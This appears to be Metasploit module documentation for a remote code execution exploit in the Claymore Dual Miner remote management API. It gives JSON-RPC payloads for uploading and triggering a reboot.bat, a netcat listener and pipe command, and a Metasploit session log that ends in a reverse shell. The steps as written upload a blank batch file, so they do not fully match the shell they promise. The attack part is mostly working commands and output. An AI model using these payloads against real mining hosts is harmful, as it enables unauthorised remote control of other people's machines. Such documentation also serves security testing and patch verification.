## Description

This module connects to the Claymore Dual Miner API server to exploit the RCE.
This module can target the remote system if the miner is running with read/write mode enabled.

## Vulnerable Application

[Claymore Dual Miner](https://github.com/nanopool/Claymore-Dual-Miner) allows an user to control the miner
configuration by uploading files inside its directory using the server API. Since there is no check on file names, an attacker
can exploit this vulnerability by uploading a reboot.bat or reboot.sh file and execute it via Remote Manager GUI.

## Verification Steps

1. Start the vulnerable software: `EthDcrMiner64.exe -epool eth-eu1.nanopool.org:9999 -ewal 0x83718eb67761Cf59E116B92A8F5B6CFE28A186E2 -epsw x -mode 1 -ftime 10 -mport 3333`
2. Run on terminal: `{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat", " "]}`
3. Run on terminal: `nc -lvp 1234`
4. Run on terminal: `echo -e '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}\n' | nc 127.0.0.1 3333 && echo`
5. You should get a shell

## Options

  **RHOST**

  Remote Host

  **RPORT**

  Remote port the vulnerable software is running at, default is 3333.


### Remote target

  ```
  msf5 > use exploit/multi/misc/claymore_dual_miner_remote_manager_rce
  msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set rhost 127.0.0.1
  rhost => 127.0.0.1
  msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set lhost 127.0.0.1
  lhost => 127.0.0.1
  msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rcee) > set lport 1234
  lport => 1234
  msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > exploit

  [*] Started reverse TCP handler on 127.0.0.1:1234
  [*] Command shell session 1 opened (127.0.0.1:1234 -> 127.0.0.1:3333) at 2018-07-02 18:43:41 +0000

  whoami
  reversebrain
  ```
